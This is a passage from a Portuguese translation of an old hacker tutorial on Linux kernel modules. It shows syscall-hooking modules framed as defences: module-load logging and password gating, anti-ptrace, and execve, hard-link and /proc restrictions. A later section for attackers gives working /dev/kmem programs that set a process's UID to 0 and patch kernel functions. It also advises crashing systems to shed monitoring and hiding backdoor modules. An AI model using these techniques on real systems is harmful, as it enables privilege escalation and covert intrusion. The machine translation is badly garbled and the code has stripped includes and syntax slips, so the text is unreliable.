carregado vem. Tb seria possivel negar carregar qualquer modulo , mas este eh um modo muito ruim, porque vc realmente precisa deles. Assim poderiamos modificar o modulo que o carrega de certo modo para prover um password que será conferido em seu create_module(...) interceptado. Se o password está correta o modulo será carregado, se não será derrubado. Deveria estar claro que vc tem que esconder seu LKM para fazer isto irremovivel. Assim demos uma olhada em algumas implementacoes de prototipo do LKM q atribui o password ao systemcall create_module(...). 1.1 Exemplo prático de um Detector de prototipo Nada para dizer sobre aquela implementacão simples, soh intercepta sys_create_module(...) e loga os nomes de modulos que estavam carregados. #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; kernel_name = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_name, name, 255); /*here we log to syslog, but you can log where you want*/ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); ret=orig_create_module(name, size); return ret; } int init_module(void) /*module setup*/ { orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_create_module]=orig_create_module; } Isto eh tudo que vc precisa, claro que vc deveria somar as linhas requeridas para esconder o modulo, mas este não eh nenhum problema. Depois de fazer isto deste modo irremovivel, um hacker pode modificar so o arquivo de log, mas vc tb poderia economizar seus logs, para um aruivo inacessivel para o hacker (veja II.1 para truques exigidos). Claro que vc tb pode interceptar sys_init_module(...) que tb mostraria todo modulo, que eh justo um assunto interessante. 1.2 Exemplo prático de protecao a prototipo password create_module(...) Esta subsecão tratará da possibilidade de somar autenticacão para modulos inicializaveis . Nos precisamos de duas coisas para administrar esta tarefa: * um modo para conferir modulos carregaveis (fácil) * um modo para autenticar (bastante dificil) O primeiro ponto eh muito fácil codificar, soh interceptar sys_create_module(...) e conferir alguma variável que conta o kernel wether, este processo de carga eh legal. Mas como fazer autenticação. Eu tenho que admitir que eu não gastei muitos segundos em pensar neste problema, assim a solucão eh mais que ruim, mas este eh um artigo de LKM, assim use seu cerebro, e cria algo melhor. Meu modo para fazer isto, era interceptar o systemcall stat(...) que eh usado quando vc digita qlq comando, e as necessidades do sistema para procurar isto. Tão tipo, soh um password como comando e o LKM conferiráh isto interceptando 'stat' [eu sei que isto eh mais que inseguro; ate mesmo um autor de Linux poderia derrotar este esquema de autenticacão, mas (novamente) este não eh o ponto aqui...]. De uma olhada em minha implemtacao (eu rasguei muitos LKMs existentes, um atraves de plaguez...): #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/ int lock_mod=0; int __NR_myexecve; /*intercept create_module(...) and stat(...) systemcalls*/ int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int hacked_stat(const char *filename, struct old_stat *buf) { char *name; int ret; char *password = "password"; /*yeah, a great password*/ name = (char *) kmalloc(255, GFP_KERNEL); (void) strncpy_fromfs(name, filename, 255); /*do we have our password ?*/ if (strstr(name, password)!=NULL) { /*allow loading a module for one time*/ lock_mod=1; kfree(name); return 0; } else { kfree(name); ret = orig_stat(filename, buf); } return ret; } int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; if (lock_mod==1) { lock_mod=0; ret=orig_create_module(name, size); return ret; } else { printk("<1>MOD-POL : Permission denied !\n"); return 0; } return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve]; orig_stat=sys_call_table[SYS_prev_stat]; sys_call_table[SYS_prev_stat]=hacked_stat; orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; printk("<1>MOD-POL LOADED...\n"); return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_prev_stat]=orig_stat; sys_call_table[SYS_create_module]=orig_create_module; } Este codigo parece bem claro. A lista seguinte lhe conta o que melhorar neste LKM para fazer isto mais seguro, talvez um pouco paranóico:): * ache outro modo para autenticar (use sua propria interface user space, com seus proprios systemcalls; use userID (não soh um password); talvez vc tem um device de biometric - > leia documentacão e codifique seu device-driver para Linux e use;)...) MAS LEMBRE-SE: a protecão de hardware mais segura (dongles, biometric, podem ser derrotados frequentemente, sistemas de smartcard por causa de uma interface de software muito insegura;. Vc poderia afiancar seu sistema inteiro com um mecanismo assim. Controle seu kernel inteiro com um smartcard:) * Outro não assim 'extremo' modo seria implementar seu proprio systemcall que seria responsável pela autenticacão. (veja II.11 para um exemplo de como criar seu proprio systemcall). * ache um modo melhor para se registrar sys_create_module(...). Conferir uma variável não eh muito seguro, se alguem arraigasse seu sistema ele poderia consertar a memoria (veja a proxima parte) * ache um modo para fazer isto impossivel para um atacante sem usar autenticacão para inicializa o LKM dele * adicione caracteristicas ocultas ao LKM * ... Como vc pode ver, há muito trabalho a fazer. Mas ate mesmo com esses passos, seu sistema nao esta totalmente seguro. Se alguem hackeo o sistema ele poderia achar outros truques para carregar o LKM dele (veja proxima parte); talvez ele não precisa de um LKM ateh mesmo, porque ele soh arraigou o sistema, e não quer esconder arquivos/processos (e as outras coisas de wonderfull possiveis com LKMs). 2. Ideias de Anti-LKM-Infector * o residente de memoria (realtime) scanner (como TSR virus scanner em DOS ou VxD scanner virus em WIN9x) * scanner q confere arquivo (conferindo arquivos de modulo a procura de sinais de uma infeccao) O primeiro metodo eh possivel por interceptar sys_create_module (ou o chamam de init_module). A segunda aproximacão, precisa de alguma caracteristica que vc pode achar em qlq arquivo infectado. Nos sabemos que o infector de LKM junta dois arquivos de modulo. Assim nos podemos conferir para duas ELF headers/signatures. Claro que, qlqr outro infector de LKM poderiam usar um metodo melhorado (encryption, selfmodifying code etc.). Eu não apresentarei um scanner q confere arquivo, porque há pouco vou escrever um programa (user space) que le o modulo, e confere os arquivos ELF headers (o 'ELF' string,por exemplo). 3. Faca seus programas sem pista (teoria) Agora eh tempo para bater hackers que bisbilhotam nossos executaveis. Como eu disse antes, strace eh a ferramenta de nossa escolha. Eu apresentei isto como uma ferramenta que nos ajuda a ver qual systemcalls são usados em certos programas. Outro uso muito interessante para o strace eh esbocado no papel 'Human to Unix Hacker' por TICK/THC. Ele nos mostra como usar strace para sequestrar TTY . Apenas o strace no seu proximo shell, e vc adiquiri tudo q ele faz. Assim, vc's admins deveriam perceber o perigo de strace. O programa strace usa a funcão de API seguinte: #include int ptrace(int request, int pid, int addr, int data); Bem, como nos podemos controlar strace? Não seja tolo e remova strace de seu sistema, mas nao pense q tudo tah ok - como lhe mostro ptrace(...) eh uma funcão de biblioteca. Todo hacker pode codificar o proprio programa dele fazendo igual a strace. Assim nos precisamos de uma solucão melhor e mais segura. Sua primeira ideia poderia ser procurar um systemcall interessante que poderia ser responsável para o tracado; há um systemcall que faz ; mas olhemos outra aproximacão antes. Lembre-se de II.5.1: eu falei sobre os flags de tarefa. Havia duas flags que representam processos localizados. Neste modo nos podemos controlar o tracado em nosso sistema. Há pouco, intercepte o systemcall sys_execve(...) e confira o processo atual para um dos dois jogos de flags. 3.1 Exemplo prático de um prototipo Anti-investigador(Anti-Tracer) Isto eh meu pequeno LKM chamado 'Anti-Tracer'. Isto basicamente implementa as ideias de 4. O campo de flags de nosso processo que usa o ponteiro atual pode ser facilmente recobrado (estrutura de tarefa). O resto não eh nada novo. #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int __NR_myexecve; int (*orig_execve) (const char *, const char *[], const char *[]); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { int ret, tmp; unsigned long mmm; char *kfilename; /*check for the flags*/ if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { /*we are traced, so print the traced process (program name) and return without execution*/ kfilename = (char *) kmalloc(256, GFP_KERNEL); (void) strncpy_fromfs(kfilename, filename, 255); printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename); kfree(kfilename); return 0; } ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; } Este LKM tb loga qualquer executável q alguem quis executar com tracing. Bem este LKM cheka algumas flags, mas isso se vc comeca localizando um programa que já está correndo. Há pouco imagine um programa (shell ou tudo) correndo com o PID 1853, agora vc faz um 'strace -p 1853'. Isto funcionara. Assim por seguranca o unico modo eh enganchar sys_ptrace(...). Olhe o modulo seguinte: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_ptrace)(long request, long pid, long addr, long data); int hacked_ptrace(long request, long pid, long addr, long data) { printk("TRACING IS NOT ALLOWED\n"); return 0; } int init_module(void) /*module setup*/ { orig_ptrace=sys_call_table[SYS_ptrace]; sys_call_table[SYS_ptrace]=hacked_ptrace; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_ptrace]=orig_ptrace; } Use este LKM e ninguem poderá lhe localizar mais. 4. Enrigecendo o kernel do Linux com LKMs O assunto desta secao pode soar familiar aos leitores da Phrack. Route introduziu ideias agradáveis para fazer o sistema de Linux mais seguro. Ele usou alguns patch's. Eu quero mostrar que algumas ideias tb podem ser implementadas por LKMs. Lembre-se disso sem esconder esses LKMs isto tb eh util (esconder, claro que eh algo que vc deve fazer), porque os patchs de Route tb são despreziveis se alguem hackeasse o sistema; e um usuário nao-privilegiado não pode remover nosso LKM, mas ele pode ver isto. A vantagem de usar LKMs em vez de um static kernel patch : vc pode facilmente administrar a seguranca do sistema inteiro, e instalar mais facilmente em sistemas corrente. Não eh necessário instalar um kernel novo, em sistemas sensiveis vc precisa de todo segundo. Os patchs de Phrack tb somaram alguma caracteristica destacando que eu não implementei, mas há mil modos para fazer isso. Um simples modo estaria usando printk(...) [Nota: eu não olhei todo aspecto dos patchs de Route. Talvez hackers de kernel poderiam fazer mais com LKMs.] 4.1 Por que nos devemos permitir direitos de execucão de programas arbitrários? O LKM seguinte eh algo como o patch de kernel de Route que confere direitos de execucão: #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #include #include #include #include #include /* where the sys_calls are */ int __NR_myexecve = 0; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*close)(int); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { int fd = 0, ret; struct file *file; /*we need the inode strucure*/ /*I use the open approach here, because you should understand it from the LKM infector, read on for seeing a better approach*/ fd = open(filename, O_RDONLY, 0); file = current->files->fd[fd]; /*is this a root file ?*/ /*Remember : you can do other checks here (route did more checks), but this is just for demonstration. Take a look at the inode structur to see other items to heck for (linux/fs.h)*/ if (file->f_inode->i_uid!=0) { printk("<1>Execution denied !\n"); close(fd); return -1; } else /*otherwise let the user execute the file*/ { ret = my_execve(filename, argv, envp); return ret; } } int init_module(void) /*module setup*/ { printk("<1>INIT \n"); __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; } Isto não está exatamente igual ao patch de Kernel de Route. Route conferiu o caminho e nos conferimos o arquivo (um cheque de caminho tb seria possivel, mas em minha opinião um cheque de arquivo eh o modo melhor). Eu soh implementei um cheque para UID do arquivo, assim um admin pode filtrar o processo de execucão do arquivo. Como eu dito o open/fd aproximadamente, eu usei acima, não eh o modo mais fácil; eu usei isto porque deveria estar familiarizado a vc (lembre-se, o infector de LKM usou este metodo). Para nosso proposito a funcão de kernel seguinte eh tb possivel (mais fácil modo): int namei(const char *pathname, struct inode **res_inode); int lnamei(const char *pathname, struct inode **res_inode); Essas funcões levam um certo pathname e devolvem o inode correspondente a estrutura. A diferenca entre as funcões sao solucionar bugs no symlink : lnamei não soluciona um symlink e retorna a estrutura do inode para o proprio symlink. Como um hacker vc poderia modificar tb inodes. Há pouco os recobre pegando sys_execve(...) e usando namei(...) (o modo que nos usamos tb para controlar a execucão) e manipular o inode (eu mostrarei um prático exemplo desta ideia em 5.3). 4.2 O Remendo de Vinculo ... ("Link Patch") Todo usuário de Linux sabe disso, bugs de symlink são algo que frequentemente conduz a problemas serios de seguranca do sistema. Andrew Tridgell desenvolveu um patch de kernel que previne um processo de 'seguindo um link que está em um +t (principalmente o diretorio /tmp/), a menos que eles possuem o link'. Solar Designer somou um codigo que tb previne os usuários de criar hard-links em um diretório +t para arquivos q eles nao possuem . Eu tenho q admiti que o symlink conserta bugs em uma capa que nos não podemos alcancar facilmente atraves de nosso LKM psotion. Lá simbolos nao sao exportado, nos nao poderiamos consertar qlq systemcalls q nos poderiamos interceptar. Solucionar o symlink eh acabado pelo VFS. De uma olhada na secao IV para metodos que poderiam nos ajudar a resolver este problema (mas eu não iria usar os metodos de IV p/ seguranca de um sistema). Vc pode desejar saber por que eu não faco uso do systemcall sys_readlink(...) para resolver o problema. Bem esta chamada eh usada se vc faz um 'ls -a symlink' mas não eh chamado se vc emite um 'cat symlink'. Em minha opinião vc deveria deixar isto como um patch de kernel. Claro que vc pode codificar um LKM que intercepta o systemcall sys_symlink(...) em ordem para q impeca um usuário de criar symlinks no diretório /tmp. Olhe ao duro uma LKM para uma implementacão semelhante. Ok, o problema de symlink eh um pouco dificil de transformar em LKM. Sobre a ideia de Solar Designer que concerne restricões a hard link . Isto pode ser feito como LKM. Nos soh precisamos interceptar sys_link(...) que eh responsável por criar qualquer hard link. De uma olhada em hacked systemcall (o fragmento de codigo não faz exatamente igual ao patch de kernel, porque nos soh conferimos o diretório '/tmp/' , não o bit(+t), apenas pegajoso, isto tb pode ser feito olhando a estrutura de inode do diretorio [veja 5.1]) : int hacked_link(const char *oldname, const char *newname) { char *kernel_newname; int fd = 0, ret; struct file *file; kernel_newname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_newname, newname, 255); /*hard link to /tmp/ directory ?*/ if (strstr(kernel_newname, (char*)&hide ) != NULL) { kfree(kernel_newname); /*I use the open approach again :)*/ fd = open(oldname, O_RDONLY, 0); file = current->files->fd[fd]; /*check for UID*/ if (file->f_inode->i_uid!=current->uid) { printk("<1>Hard Link Creation denied !\n"); close(fd); return -1; } } else { kfree(kernel_newname); /*everything ok -> the user is allowed to create the hard link*/ return orig_link(oldname, newname); } } Deste modo vc tb poderia controlar a criacão de symlink. 4.3 O /proc Patch permissão (a ideia de route's da Phrack implementado como LKM) Eu já mostrei para vc alguns modos de como esconder algum processo a ideia de informacao. Route eh diferente quanto ao nosso esconde aproximacão. Ele quer limitar o acesso a /proc/ (precisou acesso para processar informacão) mudando as permissões de diretorio. Assim ele consertou o proc inode. O LKM seguinte fará exatamente o mesmo sem um patch de kernel static. Se vc carregar isto um usuário não será permitido ler o fs de proc, se vc descarrega isto ele será capaz. Aqui vamos nos: /*very bad programming style (perhaps we should use a function for the indode retrieving), but it works...*/ #define __KERNEL__ #define MODULE #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include #include #include #include #include #include #include #include #include #include #include #include #include extern void *sys_call_table[]; int (*open)(char *, int, int); int (*close)(int); int init_module(void) /*module setup*/ { int fd = 0; struct file *file; struct inode *ino; /*again the open(...) way*/ open = sys_call_table[SYS_open]; close = sys_call_table[SYS_close]; /*we have to supplie some kernel space data for the systemcall*/ BEGIN_KMEM fd = open("/proc", O_RDONLY, 0); END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*here's the inode for the proc directory*/ ino= file->f_inode; /*modify permissions*/ ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR; close(fd); return 0; } void cleanup_module(void) /*module shutdown*/ { int fd = 0; struct file *file; struct inode *ino; BEGIN_KMEM fd = open("/proc", O_RDONLY, 0); END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*here's the inode for the proc directory*/ ino= file->f_inode; /*modify permissions*/ ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO; close(fd); } Há pouco carregue este modulo e tente um ps, topo ou tudo, não funcionara. Todo acesso ao diretório /proc eh totalmente negado. Claro que, como root vc ainda eh permitido a ver todo processo e qualquer outra coisa; isto eh justo uma permissão, conserte para manter seus usuários informados. [Nota: Isto eh prático, implementado p/ modificar inodes 'na mosca' vc deveria ver muitas possibilidades de como abusar isto.] 4.4 O Patch securelevel (a ideia de route's da Phrack implementado como LKM) O proposito deste patch : Citacao de Route "Este patch realmente não eh muito um patch. Simplesmente bate o securelevel para cima, de 0 para 1. Isto gela o immutable(imutavel) e junta pedacos em arquivos, impedindo qualquer um os mudar (da interface de chattr normal). Antes de virar isto, vc deveria fazer certa chave arquiva immutable, e logfiles juntos. Ainda eh possivel abrir o dispositivo de disco cru, porem. Seu hack comum e hack de pasta não saberão provavelmente fazer isto ". Ok, este aqui eh realmente fácil de implementar como um LKM. Nos somos afortunados porque o simbolo responsável pelo securelevel eh publico (veja /proc/ksyms) assim nos podemos mudar isto facilmente. Eu não apresentarei um exemplo para isto, soh importe um 'secure level' e fixe isto na função module's init . 4.5 O Patch(remendo=atualizacao) de rawdisk Eu desenvolvi um modo fácil para evita ferramentas como os manipate-data de THC. Essas ferramentas são usadas atraves de hackers para procurar no disco rigido o IP origem deles, q se dirigem ou nome do DNS. Depois de achar isto eles modificam ou removem a entrada do disco rigido. Para fazer tudo isso eles precisam ter acesso aos arquivos '/dev/*' para abrir o rawdisk. Claro que eles soh podem fazer isto depois de roota o sistema. Assim o que nos podemos fazer sobre isto? Eu achei que o modo seguinte ajuda prevenir esses ataques [claro que há mil modos para derrotar aquela protecão: (]: * calce seu sistema * instale um LKM que previne acesso direto a (/dev/*) para sua particão, e salve seus 'logs'. Isto funciona pq o sistema (normalmente) soh tem necessidades a acesso direto para o rawdisk durante o algumas (raramente) operacoes. O LKM há pouco intercepta sys_open(...) e filtra o dev-file precisado. Eu penso que não eh necessário mostrar como codificar isto, de uma olhada nas II.4.2). Deste modo vc pode proteje qlq arquivo '/dev/*'. O problema eh q deste modo ninguem pode os ter acesso diretamente enquanto o LKM está carregado. [Nota: há algumas funcões que não funcionao/quebram(crash) o sistema, mas uma rede normal, ou mailserver deveriam trabalhar com este patch.] IV. Algumas Ideias Melhores (para hackers) 1. Truques para bater admin LKMs Esta parte nos dará algumas ajudas para hackear o kernel em sistemas onde vc tem um paranoico (bom) admin. Depois de explicar todos os modos q um admin pode proteger um sistema, eh muito dificil achar modos melhores para nos (hackers). Nos precisamos deixar o nosso LKM durante alguns segundos para combater essas protecões dificeis. Imagine um sistema onde um admin instalou um grande e bom monitor de LKM que confere toda acão no sistema. Issu foi mencionado na parte II e III. O primeiro modo para nos libertarmos deste LKM eh tentando reiniciar o sistema, talvez o admin não tenha carregado este LKM em um arquivo init. Assim tente algum Ataque DoS ou qualquer coisa q funcione. Se vc ainda não conseguiu matar este LKM tente olhar alguns arquivos importantes, mas tenha cuidado, alguns arquivos podem ser protegidos e monitorados (veja apendice A). Se vc realmente não conseguiu ver onde o LKM está carregado etc, esqueca ou corra o risco de instalar um backdoor que vc não pode esconder (process/file). Mas se um admin realmente usa um megaLKM, esqueca cara, ele poderia ser realmente bom e vc tera muita dificuldade. Para akeles que mesmo assim quer hackear um sistema desses, leia secão 2. 2. Consertando o kernel inteiro - ou criando o Hacker-OS Nota: Esta secão pode soar um pouco fora do topico, mas no fim eu apresentarei uma ideia agradável (programa que foi desenvolvido por Silvio Cesare que vai tb nos ajudar a usar nossos LKMs).Esta secão dará soh um resumo de todo problema do kmem devido ao fato de nos soh precisarmos enfocar na ideia de Silvio Cesare. Ok, LKM eh algo agradável. Mas isso se o admin está como o descrito em 1. Ele faz tudo para nos impedir de usar nossas belas tecnicas de LKM (parte II). Ele consertou o proprio kernel dele, p/ fazer o sistema dele, realmente seguro. Ele usa um kernel sem apoio a LKM nativo. Tão agora eh tempo para fazer nosso ultimo passo: Runtime Kernel Patching. As ideias básicas nesta secão vem de algumas fontes q achei (kmemthief etc) e um paper de Silvio Cesare que descreve uma aproximacão geral p/ modificacao de kernel symbols. Em minha opinião este tipo de ataque eh algo mais potente, como kernel hacking.Eu nao sei tudo de kernel de Un*x lah fora, mas esta aproximacao pode ajudar-lo em muitos sistemas. Esta secão descreve o 'Runtime Kernel Patching', somente isso sobre kernelfile Patching. Todo sistema tem um arquivo que representa o kernel, claro. Em sistemas grátis como FreeBSD, Linux,... eh fácil consertar(patching) um arquivo de kernel, mas e quando se trata de um sistema comercial? Eu nunca tentei isto, mas eu acho que isto eh realmente interessante: Imagine uma backdoor que ataca o kernel Patching. Vc soh tem que fazer um reboot ou esperar por um (todo sistema as vezes tem que reiniciar:). Mas este texto soh se tratará da aproximacão de runtime. Vc pode dizer que este paper eh chamado de 'Abusando de Linux Loadable kernel Modules' e que vc não quer saber como consertar o kernel inteiro. Bem esta secão nos ajudará a carregar LKMs em sistemas que sao muito seguros e q não tem nenhum apoio a LKM no kernel. Assim nos aprenderemos algo que nos ajudará com nosso LKM abusado hehe. Comecemos com a coisa mais importante, nos temos que saber se nos queremos fazer RKP(Runtime Kernel Patching). O arquivo /dev/kmem, do qual torna isto possivel para nos darmos uma olhada (e modificar) toda a memoria virtual(virtual memory) de nosso determinado sistema. Nota: Lembre-se que a aplicacao de RKP eh util e está na maioria dos casos, se vc rooteou um sistema. Somente sistemas inseguros darão aos usuários normais acesso a este arquivo. Como eu disse antes, '/dev/kmem' nos dá a chance de ver todo byte de memoria de nosso sistema (mais Swap). Isto significa q nos tb podemos ter acesso a memoria inteira o que nos permite manipular qualquer item de kernel na memoria (porque o kernel eh soh algum objectcode carregado em memoria de sistema). Lembre-se do arquivo '/proc/ksyms' que nos mostra todo endereco de um kernel sysmbol exportado. Assim nos sabemos onde modificar memoria para manipular alguns kernel symbols. Demos uma olhada a um exemplo muito básico que eh conhecido ja faz um bom tempo. O seguinte programa (user space) leva o endereco task_structure (olhar para kstat em /proc/ksyms) e um certo PID. Depois de procurar a estrutura de tarefa que representa o PID especificado, modifica todo campo de id do usuário para fazer este processo UID=0. Claro que hoje este programa eh quase inutil, porque a maioria dos sistemas nem mesmo permite para um usuário normal ler /dev/kmem mas eh uma introducão boa em RKP. /*Attention : I implemented no error checking!*/ #include #include #include #include /*max. number of task structures to iterate*/ #define NR_TASKS 512 /*our task_struct -> I only use the parts we need*/ struct task_struct { char a[108]; /*stuff we don't need*/ int pid; char b[168]; /*stuff we don't need*/ unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; char c[700]; /*stuff we don't need*/ }; /*here's the original task_structure, to show you what else you can modify struct task_struct { volatile long state; long counter; long priority; unsigned long signal; unsigned long blocked; unsigned long flags; int errno; long debugreg[8]; struct exec_domain *exec_domain; struct linux_binfmt *binfmt; struct task_struct *next_task, *prev_task; struct task_struct *next_run, *prev_run; unsigned long saved_kernel_stack; unsigned long kernel_stack_page; int exit_code, exit_signal; unsigned long personality; int dumpable:1; int did_exec:1; int pid; int pgrp; int tty_old_pgrp; int session; int leader; int groups[NGROUPS]; struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct wait_queue *wait_chldexit; unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; unsigned long timeout, policy, rt_priority; unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; long utime, stime, cutime, cstime, start_time; unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; unsigned long swap_address; unsigned long old_maj_flt; unsigned long dec_flt; unsigned long swap_cnt; struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; int link_count; struct tty_struct *tty; struct sem_undo *semundo; struct sem_queue *semsleeping; struct desc_struct *ldt; struct thread_struct tss; struct fs_struct *fs; struct files_struct *files; struct mm_struct *mm; struct signal_struct *sig; #ifdef __SMP__ int processor; int last_processor; int lock_depth; #endif }; */ int main(int argc, char *argv[]) { unsigned long task[NR_TASKS]; /*used for the PID task structure*/ struct task_struct current; int kmemh; int i; pid_t pid; int retval; pid = atoi(argv[2]); kmemh = open("/dev/kmem", O_RDWR); /*seek to memory address of the first task structure*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); read(kmemh, task, sizeof(task)); /*iterate till we found our task structure (identified by PID)*/ for (i = 0; i < NR_TASKS; i++) { lseek(kmemh, task[i], SEEK_SET); read(kmemh, ¤t, sizeof(current)); /*is it our process?*/ if (current.pid == pid) { /*yes, so change the UID fields...*/ current.uid = current.euid = 0; current.gid = current.egid = 0; /*write them back to memory*/ lseek(kmemh, task[i], SEEK_SET); write(kmemh, ¤t, sizeof(current)); printf("Process was found and task structure was modified\n"); exit(0); } } } Nao ha nada de especial neste pequeno programa. Nao ha nenhuma novidade em procurar um certo padrão em um arquivo e mudar alguns campos. Há muitos programas lá fora que fazem a mesma coisa. Como vc pode ver o exemplo acima não lhe ajuda atacar um sistema, eh apenas para demonstracão (ou talvez para alguns sistemas pobres que permitem para os usuários escrever em /dev/kmem, eu não sei). Do mesmo modo, vc pode mudar o module structures responsável por segurar a informacão de kernel's Module. Deste modo vc tb pode esconder um modulo, soh por kmem Patching; eu não apresento uma implementacão disto, porque eh basico, igual ao programa acima (ok, o procurar eh um pouco mais dificil;)). E sobre modificar uma kernel structure, há alguns programas que fazem coisas iguais a essa. Mas e quanto as funcões? Bem, se vc procurar na internet vai logo ver q não há tantos programas que fazem coisas assim. Bem, curso que conserta uma funcão de kernel (nos faremos coisas mais uteis depois) eh um pouco enganador. O melhor modo seria jogar com a estrutura de sys_call_table que aponte a uma funcão completamente nova feita por nos. Caso contrário haveria alguns problemas relativos a tamanho de funcão e assim por diante. O exemplo seguinte eh apenas um programa muito simples que faz com q todo systemcall não faca nada. Eu apenas insiro um RET(0xc3)at no comeco do endereco da funcão que eu obtenho de /proc/ksyms. Deste modo a funcão respondera não fazendo nada imediatamente. /*again no error checking*/ #include #include #include #include /*just our RET opcode*/ unsigned char asmcode[]={0xc3}; int main(int argc, char *argv[]) { unsigned long counter; int kmemh; /*open device*/ kmemh = open("/dev/kmem", O_RDWR); /*seek to memory address where the function starts*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); /*write our patch byte*/ write(kmemh, &asmcode, 1): close(kmemh); } Resumamos o que nos sabemos: Nos podemos modificar qlq kernel Sysmbol; isto inclui coisas como sys_call_table[] e qlq outra funcão ou estrutura. Lembre-se que todo kernel patching soh pode ser feito se nos podemos ter acesso a /dev/kmem, mas tb há modos para proteger este arquivo. De uma olhada em III.5.5. 2.1 Como achar Kernel Symbols em /dev/kmem Depois desses exemplos básicos vc deve estar se perguntando, como modificar qlq kernel sysmbol e como achar kernel symbols interessantes. No exemplo citado, foi usado /proc/ksyms para adiquirir o endereco que nos precisamos p/ modificar um simbolo (sysmbol). Mas o que temos nos em sistemas com nenhum apoio a lkm construido no kernel, não haverá um arquivo /proc/ksyms, porque eh soh usado para administracão de modulo (public/ available symbols)? E quanto a kernel symbols que não são exportados, como nos os modificaremos? Muitas perguntas... veremos algumas solucões. Silvio Cesare discutiu alguns modos diferentes de achar kernel symbols (public & non-public ones). Ele esbocou que enquanto compilava o kernel um arquivo chamado 'System.map' eh criado com o mapa de todo Kernel Symbol para um endereco fixo. Este arquivo soh eh utilizado durante compilacão para solucionar esses kernel symbols. O funcionamento do sistema não tem nenhuma necessidade daqueles enderecos de arquivo. Os q sao usados para compilacão sao os mesmos q nos podemos usar para buscar /dev/kmem. Assim a melhor coisa a fazer seria: * ver System.map para o kernel symbol que vc precisa * leve o endereco que nos achamos * modifique o kernel symbol (estrutura, funcao, ou o q for) Coisa bastante fácil. Mas há um problema grande. Todo sistema que não usa exato nosso kernel terao outros enderecos para os kernel symbols deles. E na maioria dos sistemas vc não achará um arquivo System.map nos contando todo endereco. Assim o 